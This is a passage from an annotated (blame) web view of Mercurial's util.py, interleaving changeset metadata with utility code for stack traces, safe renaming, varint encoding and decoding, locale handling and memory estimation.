31314
diff
changeset
|
3487 |
for line in getstackframes(skip + 1, depth=depth): |
43754
02ededbef627
util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
43735
diff
changeset
|
3488 |
f.write(prefix + line) |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3489 |
f.flush() |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3490 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3491 |
|
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3492 |
# convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3493 |
dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3494 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3495 |
|
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3496 |
def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3497 |
""" |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3498 |
Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3499 |
|
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3500 |
f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3501 |
tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3502 |
ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3503 |
others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3504 |
|
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3505 |
Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3506 |
in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3507 |
""" |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3508 |
if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3509 |
others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3510 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3511 |
fn = b'%s~%s' % (f, tag) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3512 |
if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3513 |
return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3514 |
for n in itertools.count(1): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3515 |
fn = b'%s~%s~%s' % (f, tag, n) |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3516 |
if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3517 |
return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3518 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3519 |
|
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3520 |
def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3521 |
'''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3522 |
s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3523 |
if len(s) < n: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3524 |
raise error.Abort( |
43117
8ff1ecfadcd1
cleanup: join string literals that are already on one line
Martin von Zweigbergk <martinvonz@google.com>
parents:
43106
diff
changeset
|
3525 |
_(b"stream ended unexpectedly (got %d bytes, expected %d)") |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3526 |
% (len(s), n) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3527 |
) |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3528 |
return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3529 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3530 |
|
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3531 |
def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3532 |
"""Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3533 |
|
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3534 |
A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3535 |
except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3536 |
each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3537 |
first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3538 |
|
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3539 |
>>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3540 |
'\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3541 |
>>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3542 |
'\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3543 |
>>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3544 |
'\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3545 |
>>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3546 |
'\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3547 |
>>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3548 |
'\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3549 |
>>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3550 |
Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3551 |
... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3552 |
ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3553 |
""" |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3554 |
if value < 0: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3555 |
raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3556 |
bits = value & 0x7F |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3557 |
value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3558 |
bytes = [] |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3559 |
while value: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3560 |
bytes.append(pycompat.bytechr(0x80 | bits)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3561 |
bits = value & 0x7F |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3562 |
value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3563 |
bytes.append(pycompat.bytechr(bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3564 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3565 |
return b''.join(bytes) |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3566 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3567 |
|
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3568 |
def uvarintdecodestream(fh): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3569 |
"""Decode an unsigned variable length integer from a stream. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3570 |
|
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3571 |
The passed argument is anything that has a ``.read(N)`` method. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3572 |
|
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3573 |
>>> try: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3574 |
... from StringIO import StringIO as BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3575 |
... except ImportError: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3576 |
... from io import BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3577 |
>>> uvarintdecodestream(BytesIO(b'\\x00')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3578 |
0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3579 |
>>> uvarintdecodestream(BytesIO(b'\\x01')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3580 |
1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3581 |
>>> uvarintdecodestream(BytesIO(b'\\x7f')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3582 |
127 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3583 |
>>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3584 |
1337 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3585 |
>>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3586 |
65536 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3587 |
>>> uvarintdecodestream(BytesIO(b'\\x80')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3588 |
Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3589 |
... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3590 |
Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3591 |
""" |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3592 |
result = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3593 |
shift = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3594 |
while True: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3595 |
byte = ord(readexactly(fh, 1)) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3596 |
result |= (byte & 0x7F) << shift |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3597 |
if not (byte & 0x80): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3598 |
return result |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3599 |
shift += 7 |
45011
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3600 |
|
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3601 |
|
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3602 |
# Passing the '' locale means that the locale should be set according to the |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3603 |
# user settings (environment variables). |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3604 |
# Python sometimes avoids setting the global locale settings. When interfacing |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3605 |
# with C code (e.g. the curses module or the Subversion bindings), the global |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3606 |
# locale settings must be initialized correctly. Python 2 does not initialize |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3607 |
# the global locale settings on interpreter startup. Python 3 sometimes |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3608 |
# initializes LC_CTYPE, but not consistently at least on Windows. Therefore we |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3609 |
# explicitly initialize it to get consistent behavior if it's not already |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3610 |
# initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d, |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3611 |
# LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3612 |
# if we can remove this code. |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3613 |
@contextlib.contextmanager |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3614 |
def with_lc_ctype(): |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3615 |
oldloc = locale.setlocale(locale.LC_CTYPE, None) |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3616 |
if oldloc == 'C': |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3617 |
try: |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3618 |
try: |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3619 |
locale.setlocale(locale.LC_CTYPE, '') |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3620 |
except locale.Error: |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3621 |
# The likely case is that the locale from the environment |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3622 |
# variables is unknown. |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3623 |
pass |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3624 |
yield |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3625 |
finally: |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3626 |
locale.setlocale(locale.LC_CTYPE, oldloc) |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3627 |
else: |
1bab6b61b62b
curses: do not initialize LC_ALL to user settings (issue6358)
Manuel Jacob <me@manueljacob.de>
parents:
44629
diff
changeset
|
3628 |
yield |
45061
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3629 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3630 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3631 |
def _estimatememory(): |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3632 |
"""Provide an estimate for the available system memory in Bytes. |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3633 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3634 |
If no estimate can be provided on the platform, returns None. |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3635 |
""" |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3636 |
if pycompat.sysplatform.startswith(b'win'): |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3637 |
# On Windows, use the GlobalMemoryStatusEx kernel function directly. |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3638 |
from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3639 |
from ctypes.wintypes import Structure, byref, sizeof, windll |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3640 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3641 |
class MEMORYSTATUSEX(Structure): |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3642 |
_fields_ = [ |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3643 |
('dwLength', DWORD), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3644 |
('dwMemoryLoad', DWORD), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3645 |
('ullTotalPhys', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3646 |
('ullAvailPhys', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3647 |
('ullTotalPageFile', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3648 |
('ullAvailPageFile', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3649 |
('ullTotalVirtual', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3650 |
('ullAvailVirtual', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3651 |
('ullExtendedVirtual', DWORDLONG), |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3652 |
] |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3653 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3654 |
x = MEMORYSTATUSEX() |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3655 |
x.dwLength = sizeof(x) |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3656 |
windll.kernel32.GlobalMemoryStatusEx(byref(x)) |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3657 |
return x.ullAvailPhys |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3658 |
|
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3659 |
# On newer Unix-like systems and Mac OSX, the sysconf interface |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3660 |
# can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3661 |
# seems to be implemented on most systems. |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3662 |
try: |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3663 |
pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE']) |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3664 |
pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES']) |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3665 |
return pagesize * pages |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3666 |
except OSError: # sysconf can fail |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3667 |
pass |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3668 |
except KeyError: # unknown parameter |
02b17231f6c3
util: provide a helper function to estimate RAM size
Joerg Sonnenberger <joerg@bec.de>
parents:
45019
diff
changeset
|
3669 |
pass |